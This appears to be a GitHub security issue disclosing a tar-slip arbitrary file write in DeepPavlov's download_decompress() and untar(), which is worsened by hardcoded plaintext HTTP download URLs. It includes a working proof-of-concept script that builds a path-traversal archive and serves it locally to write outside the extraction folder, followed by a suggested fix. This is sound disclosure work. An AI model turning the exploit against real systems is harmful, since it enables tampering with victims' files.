Skip to content

Security Report: Tar-Slip Arbitrary File Write via HTTP Download in DeepPavlov #1708

Description

@AAtomical

Summary

DeepPavlov's download_decompress() function downloads archives over plaintext HTTP and extracts them using bare tarfile.extractall() with no member name filtering. A network attacker (MITM) who intercepts the HTTP connection to files.deeppavlov.ai can serve a malicious .tar.gz with path-traversal entries (../../../.bashrc, etc.), achieving arbitrary file write with the victim's privileges.

The combination of CWE-319 (Cleartext Transmission) + CWE-22 (Path Traversal via tar-slip) makes this a realistic remote attack: any active network adversary (same LAN, malicious AP, rogue DNS, upstream proxy) can trigger it when the victim runs build_model(config, download=True) or python -m deeppavlov install <config>.

Affected Component

  • Repository: https://github.com/deeppavlov/DeepPavlov
  • File: deeppavlov/core/data/utils.py
  • Vulnerable functions: untar() (line 199-213), download_decompress() (line 238-307)
  • Version: 1.7.0 (latest as of 2026-06-07)

Attack scenarios

Scenario Feasibility
Shared WiFi / malicious AP High — ARP spoof or rogue AP
CI/CD pipeline High — network tap on build infra
Corporate proxy / DNS poisoning Medium
ISP-level interception Low but possible in some jurisdictions

Vulnerability Details

Vulnerable code: untar() (line 199-213)

def untar(file_path, extract_folder=None):
    file_path = Path(file_path)
    if extract_folder is None:
        extract_folder = file_path.parent
    extract_folder = Path(extract_folder)
    tar = tarfile.open(file_path)
    tar.extractall(extract_folder)   # ← BARE extractall, no filter, no member validation
    tar.close()

Call chain: download_decompress() (line 238-307)

def download_decompress(url, download_path, extract_paths=None, headers=None):
    ...
    simple_download(url, arch_file_path, headers)    # HTTP GET (plaintext)
    ...
    if file_name.endswith('.tar.gz'):
        untar(arch_file_path, extracted_path)        # bare extractall

HTTP URLs hardcoded in configs

"http://files.deeppavlov.ai/datasets/insults_data.tar.gz"
"http://files.deeppavlov.ai/v1/ner/ner_ontonotes_bert_torch_crf.tar.gz"
"http://files.deeppavlov.ai/deeppavlov_data/classifiers/rusentiment_v1.tar.gz"

All model/dataset downloads use http:// — no TLS, no certificate pinning, no integrity check on the archive.

Proof of Concept

Environment

Component Detail
deeppavlov 1.7.0 (pip install)
Python 3.11.0
Attack simulation Local HTTP server (equivalent to MITM on files.deeppavlov.ai)

Exploit

import io, os, tarfile, tempfile, threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path
from deeppavlov.core.data.utils import download_decompress

# Build malicious tar with traversal
SERVE_DIR = Path(tempfile.mkdtemp())
with tarfile.open(str(SERVE_DIR / "evil.tar.gz"), "w:gz") as tf:
    info = tarfile.TarInfo(name="../pwned.txt")
    data = b"ARBITRARY_WRITE_VIA_TARSLIP\n"
    info.size = len(data)
    tf.addfile(info, io.BytesIO(data))

# Serve it (simulates MITM on http://files.deeppavlov.ai)
os.chdir(str(SERVE_DIR))
server = HTTPServer(("127.0.0.1", 18923), SimpleHTTPRequestHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()

# Victim triggers download (same as build_model with download=True)
extract_dir = Path(tempfile.mkdtemp()) / "extracted"
extract_dir.mkdir()
download_decompress("http://127.0.0.1:18923/evil.tar.gz", extract_dir, [extract_dir])

# Verify: file written OUTSIDE extract_dir via ../
assert (extract_dir.parent / "pwned.txt").exists()

PoC output

Image

Suggested Fix

Immediate: add tar extraction filter

def untar(file_path, extract_folder=None):
    file_path = Path(file_path)
    if extract_folder is None:
        extract_folder = file_path.parent
    extract_folder = Path(extract_folder)
    with tarfile.open(file_path) as tar:
        # Python 3.12+: use data filter
        # Python < 3.12: manual safe_extract
        if hasattr(tarfile, 'data_filter'):
            tar.extractall(extract_folder, filter='data')
        else:
            safe_members = []
            for member in tar.getmembers():
                member_path = Path(extract_folder) / member.name
                if not member_path.resolve().is_relative_to(extract_folder.resolve()):
                    continue
                if member.issym() or member.islnk():
                    continue
                safe_members.append(member)
            tar.extractall(extract_folder, members=safe_members)

Additionally: migrate all download URLs from HTTP to HTTPS

-http://files.deeppavlov.ai/datasets/insults_data.tar.gz
+https://files.deeppavlov.ai/datasets/insults_data.tar.gz

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions